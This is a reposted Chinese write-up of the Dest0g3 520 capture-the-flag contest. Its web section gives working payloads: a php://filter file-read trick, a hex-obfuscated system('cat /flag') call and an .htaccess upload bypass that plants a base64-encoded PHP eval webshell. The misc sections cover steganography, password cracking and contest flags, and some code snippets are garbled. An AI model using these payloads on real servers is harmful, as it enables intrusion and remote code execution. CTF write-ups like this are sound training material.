Dest0g3 520迎新赛 Writeup
Posted 末 初
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Dest0g3 520迎新赛 Writeup相关的知识,希望对你有一定的参考价值。
文章目录
WEB
phpdest
php源码分析 require_once 绕过不能重复包含文件的限制:https://www.anquanke.com/post/id/213235
payload
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
PS C:\\Users\\Administrator> php -r "echo base64_decode('PD9waHANCiRmbGFnID0gIkRlc3QwZzN7NzMwZDFmM2YtOGYzZi00YmEzLThkMDAtOGQxMWVkY2RjODRkfSI7DQo=');"
<?php
$flag = "Dest0g3730d1f3f-8f3f-4ba3-8d00-8d11edcdc84d";
PS C:\\Users\\Administrator>
EasyPHP
POST传参,造成报错,执行set_error_handler
ctf[]=123
SimpleRCE
payload
aaa=hex2bin('73797374656d')(hex2bin('636174202f666c6167'));
funny_upload
前端JS有些白名单限制,直接利用插件或者其他办法禁用掉JS
上传过程中发现可以上传.htaccess
文件,其次限制了文件后缀名,以及检查文件内容,过滤:<?
在.htaccess
中利用伪协议,对访问内容base64解码
.htaccess
文件
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=images.jpg"
images.jpg
PD9waHAgZXZhbCgkX1BPU1RbJ21vY2h1NyddKTs/Pg==
MISC
Welcome to fxxking DestCTF
Pngenius
分离出来的压缩包有密码,真加密,寻找密码
图片LSB发现密码
解压
Dest0g32908C1AA-B2C1-B8E6-89D1-21B97D778603
EasyEncode
真加密,尝试爆破密码
Dest0g3Deoding_1s_e4sy_4_U
StrangeTraffic
查看Modbus
传输的数据,是一位一位覆盖的
和flag的格式开头的base64一样,直接锁定
不长,手工一位一位查看即可,解码base64
Dest0g331A5BEA6-F20D-F18A-E8EA-29B4F257108B
codegame
LOL Language
得到key,首先可以用作压缩包密码解压缩包得到1.docx
,内容提示AES
,无其他内容,尝试将docx
修改成.zip
解压发现fllllllllll1ag.txt
emoji符号
加上之前提示的AES
,猜测为emoji-aes
,key继续猜测为之前的key,有点小脑洞Rotation=4
PS C:\\Users\\Administrator> php -r "echo hex2bin('666C61677B39663638663333342D303137612D343230312D393264662D6464646363313435333334647D');"
flag9f68f334-017a-4201-92df-dddcc145334d
PS C:\\Users\\Administrator>
你知道js吗
修改后缀名为flag.docx
,然后打开,复制内容
BrainFuck
:https://www.splitbrain.org/services/ook
PS C:\\Users\\Administrator> php -r "echo hex2bin('446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D');"
Dest0g386facac9-0a5d-4047-b702-86cb37ab77b2
PS C:\\Users\\Administrator>
EasyWord
The length of docm 's password is 6
The Regular Expression of the password is:
[a-z] [a-z] q [a-z] b [a-z]
生成密码字典
alphabet='abcdefghijklmnopqrstuvwxyz'
with open('password.txt', 'w') as f:
for s1 in alphabet:
for s2 in alphabet:
for s3 in alphabet:
for s4 in alphabet:
password = 'qb\\n'.format(s1, s2, s3, s4)
f.write(password)
hashcat破解office密码:https://evi1cg.me/archives/hashcat_crack_office.html
得到password.docm
的密码:ulqsbt
之后的步骤参考:https://blog.csdn.net/qq_44768749/article/details/102673212
我的WPS是个人版,运行不了宏,懒得弄了,直接摆
Python_jail
零宽度字符隐写
解压压缩包,得到SECRET1.png
,LSB
发现flag的base64
PS C:\\Users\\Administrator> php -r "echo base64_decode('ZmxhZ3tiNWJjZmM4Ny01Y2E2LTQzZjEtYjM4NC01N2QwOWI4ODZjYTl9');"
flagb5bcfc87-5ca6-43f1-b384-57d09b886ca9
4096
首先/js/local_storage_manager.js
发现后半部分base64解码得到flag
下载源码下来发现favicon.png
文件大小异常
wav文件被分为两部分,中间一部分是SSTV
,旁边两部分是DTMF
首先删掉中间部分导出,DTMF
解码
QSSTV
猜测DTMF
得到就是手机号码,不过多了一位7
好像重复了,应该是导出的时候出错,删掉即可,得到号码:13879085947
PS D:\\Tools\\Misc\\dtmf2num> php -r "echo md5('13879085947');"
32fc1b5487cb447f792a19418b92544e
gaps
拼图
gaps --image=part_flag.jpg --generations=50 --population=120 --size=64 --verbose
一直没出好效果,卡在这了,不过也差不多了,拼一下
得到后半部分flag
RGVzdDBnM3tlZDRkMTE0Zi05ZWU0LQ==
前半部分flag
NGVlNy1iNjczLTk3MWQ4MWY4YjE3N30=
PS D:\\Tools\\Misc\\dtmf2num> php -r "echo base64_decode('NGVlNy1iNjczLTk3MWQ4MWY4YjE3N30=');"
4ee7-b673-971d81f8b177
PS D:\\Tools\\Misc\\dtmf2num> php -r "echo base64_decode('RGVzdDBnM3tlZDRkMTE0Zi05ZWU0LQ==');"
Dest0g3ed4d114f-9ee4-
Dest0g3ed4d114f-9ee4-4ee7-b673-971d81f8b177
AI
OCR
首先图片用010 Editor
打开之后报错CRC不匹配,猜测修改了高度,使用脚本还原
import binascii
import struct
import sys
file = "flag_pic.png"#图片地址
fr = open(file,'rb').read()
data = bytearray(fr[0x0c:0x1d])
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])
#原来的代码: crc32key = eval(str(fr[29:33]).replace('\\\\x','').replace("b'",'0x').replace("'",''))
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print(width,height)
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open(file+'.png','wb')
fw.write(newpic)
fw.close
sys.exit()
在线OCR:https://www.onlineocr.net/zh_hant/
将得到的文本替换一下OCR比较容易出错的字符:
l -> 1
O -> 0
另存为.7z
,解压,打开虽然乱码但是还是可以发现flag的base64
PS C:\\Users\\Administrator> php -r "echo base64_decode('RGVzdDBnM3szNDUxMjA5OC0zMzA5LTc3MTItODg2NS03ODM0NjAyMjE2NDd9');"
Dest0g334512098-3309-7712-8865-783460221647
以上是关于Dest0g3 520迎新赛 Writeup的主要内容,如果未能解决你的问题,请参考以下文章
2018.11.25 齐鲁工业大学ACM-ICPC迎新赛正式赛题解